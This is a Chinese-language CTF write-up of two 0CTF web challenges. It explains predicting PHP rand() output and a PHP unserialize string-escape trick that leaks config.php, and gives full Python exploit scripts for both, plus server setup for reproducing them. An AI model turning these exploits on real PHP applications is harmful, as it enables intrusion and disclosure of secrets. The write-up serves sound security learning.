这次的0CTF我们投机取巧派被学院派教做人。。然后发现自己,不会js,不会php。不会python。Web题看了两题,都差一点出来。。
rand_2 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include('config.php'); session_start(); if($_SESSION['time'] && time() - $_SESSION['time'] > 60) { session_destroy(); die('timeout'); } else { $_SESSION['time'] = time(); } echo rand(); if (isset($_GET['go'])) { $_SESSION['rand'] = array(); $i = 5; $d = ''; while($i--){ $r = (string)rand(); $_SESSION['rand'][] = $r; $d .= $r; } echo md5($d); } else if (isset($_GET['check'])) { if ($_GET['check'] === $_SESSION['rand']) { echo $flag; } else { echo 'die'; session_destroy(); } } else { show_source(__FILE__); } ?>
这题看了国外的论文后知道了通过rand()随机出来的伪随机数有一个规律:r[i] = r[i-3] + r[i-31]
这里有一个需要注意的地方,题目服务器是ubuntu
1 2 php> echo getrandmax() 2147483647
linux服务器随机数的范围是0-2147483647, 所以 r[i] = (r[i-3] + r[i-31]) % 2147483648
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #!/usr/bin/env python #-*- coding:utf-8 -*- import requests import re import hashlib class POC: def __init__(self): self.url = "http://202.120.7.202:8888" self.url2 = "http://202.120.7.202:8888/?go=" self.url3 = "http://202.120.7.202:8888/?" self.s = requests.session() def test(self): ran_num = [] for i in range(49): req = self.s.get(self.url) cont = req.content try: num = re.findall(r'(.+)<code>',cont)[0] except: print i exit(-1) ran_num(int(num)) req = self.s.get(self.url2) cont = req.content ran_num.append(int(cont[1:-32])) md5_num = cont[-32:] go_num = [] for x in range(5): y = 50 + x tem_num1 = (ran_num[y-3] + ran_num[y-31]) % 2147483648 ran_num.append(tem_num1) go_num.append(str(tem_num1)) now_num = "".join(go_num) now_md5 = hashlib.md5(now_num).hexdigest() if md5_num == now_md5: print "yes" self.num5 = self.go_num self.suc() break def suc(self): for x in self.num5: self.url3 += "check[]="+str(x) + "&" req = self.s.get(self.url3) print req.content if __name__ == '__main__': t = POC() t.test()
然后我没做出来的问题在于。。。。我不会python.. error code:
1 2 ran_num.append(int(cont[1:-33])) md5_num = cont[-33:-1]
然后这题发现没法复现,本地或是自己的服务器中,每次访问rand的seed都会变,就算keep-alive也是。。不知道题目服务器做了啥设置。。。
piapiapia 这题是代码审计,让我知道了原来我不会php 大致看了一遍可以看出一处问题:
1 2 3 // update.php if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
如果POST或者GET传参除了字符串还可以传递数组,所以如果nickname为数组的话,则可绕过该判断。update.php中之后是将输入序列化,在profile.php中反序列化。所以猜测是序列化这有洞,可是google搜了一通之后。得到的都是Joomla的反序列化截断漏洞。并没有得到啥有用的信息。。
然后又有一发现
1 2 3 $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string);
如果输入中有where则会变成hacker,多了一个字符,反序列化的时候会出错。。当时并没有想出利用方法。。之后看了wp之后才知道。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/usr/bin/env python #-*- coding:utf-8 -*- import requests import re import base64 class POC: def __init__(self): self.data = {"username": "ddog1", "password": "ddog1"} self.reg() self.login() self.fuck() self.get_flag() def reg(self): url = "http://xxx/register.php" req = requests.post(url, data=self.data) if req.status_code != 200: print req.content exit(-1) def login(self): url = "http://xxx:8085/index.php" req = requests.post(url, data=self.data) if not re.search("UPDATE|Profile",req.content): print req.content print "login fail!" exit(-1) cookie = req.request.headers['Cookie'] cookie = cookie.split("=") self.cookie = {cookie[0]: cookie[1]} def fuck(self): url = "http://xxx:8085/update.php" payload = '";}s:5:"photo";s:10:"config.php";};' payload = "where" * len(payload) + payload f = open('/tmp/a.jpg',"w") f.write("fffff"*1024) f.close() files = {"photo": ("fff.jpg", open("/tmp/a.jpg","rb"))} data = {"phone": "1"*11, "email": "fffff@qq.com", "nickname[]": payload} req = requests.post(url, data=data, cookies=self.cookie, files=files) if not re.search("Success", req.content): print req.content exit(-1) def get_flag(self): url = "http://xxx:8085/profile.php" req = requests.get(url, cookies=self.cookie) try: base = re.findall('base64,(.+?)"',req.content)[0] except: print req.content print "crack fail!" exit(-1) print "crack success!" print "==========================" print base64.b64decode(base) print "==========================" if __name__ == '__main__': POC()
这题没做出来就是对序列化的理解不清楚。比如一个序列化字符串
第一点 ,反序列化时,当反序列化完一个序列后,就会停止,比如
1 a:1:{i:0;s:5:"aaaaa";}dfklasfjkal
上面的字符串进行反序列化和第一个字符串反序列化是一样的。。。
第二点 ,序列化字符串里没有转义字符。。所以说有了可以闭合序列化的可能,关键在于长度,序列一共由三部分组成,数据类型:长度:数据
,看下面的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php var_dump(unserialize('a:1:{i:0;s:5:"aa";}";}')); // out // array(1) { // [0]=> // string(5) "aa\";}" // } ?> then <?php var_dump(unserialize('a:1:{i:0;s:2:"aa";}";}')); // out // array(1) { // [0]=> // string(2) "aa" // } ?>
这就是这题的重点了,但是怎么控制长度呢?就是通过 where -> hacker
然后字符串逃逸。 所以得出payload:
1 2 payload = '";}s:5:"photo";s:10:"config.php";};' payload = "where" * len(payload) + payload
然后是复现这题,在复现的过程中随便学习了下运维。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 # 新建组 $ groupadd ctf5 # 新建一个专门用于php-fpm的用户 $ useradd ctf5 -M -s /sbin/nologin -g ctf5 # 创建pid, sock文件 $ touch /usr/local/php/var/run/php-fpm-ctf5.pid $ touch /tmp/php-cgi-ctf5.sock # sock是被nginx使用所以需要把所属用户和用户组改成和nginx一样 $ chown www:www /tmp/php-cgi-ctf5.sock # 修改nginx虚拟主机文件 $ vim /usr/local/nginx/conf/vhost/ctf5.conf fastcgi_pass unix:/tmp/php-cgi-ctf5.sock; #修改成这样 # 创建php-fpm配置文件 $ cp /usr/local/php/etc/php-fpm.conf /usr/local/php/etc/php-fpm-ctf5.conf $ vim /usr/local/php/etc/php-fpm-ctf5.conf [global] pid = /usr/local/php/var/run/php-fpm-ctf5.pid error_log = /usr/local/php/var/log/php-fpm-ctf5.log log_level = notice [ctf5] listen = /tmp/php-cgi-ctf5.sock listen.backlog = -1 listen.allowed_clients = 127.0.0.1 listen.owner = ctf5 listen.group = ctf5 listen.mode = 0666 user = ctf5 group = ctf5 pm = dynamic pm.max_children = 10 pm.start_servers = 1 pm.min_spare_servers = 1 pm.max_spare_servers = 6 request_terminate_timeout = 100 request_slowlog_timeout = 0 slowlog = var/log/slow-ctf5.log # 修改/etc/init.d/php-fpm vhost=$2 if [ -n "$vhost" ];then vhost=-$vhost fi php_fpm_CONF=${prefix}/etc/php-fpm$vhost.conf php_fpm_PID=${prefix}/var/run/php-fpm$vhost.pid restart) $0 stop $2 $0 start $2 # 修改文件夹权限 $ chown ctf5:www -R /home/wwwroot/ctf5 # 最后记得重启 $ sudo /etc/init.d/nginx restart $ sudo /etc/init.d/php-fpm start ctf5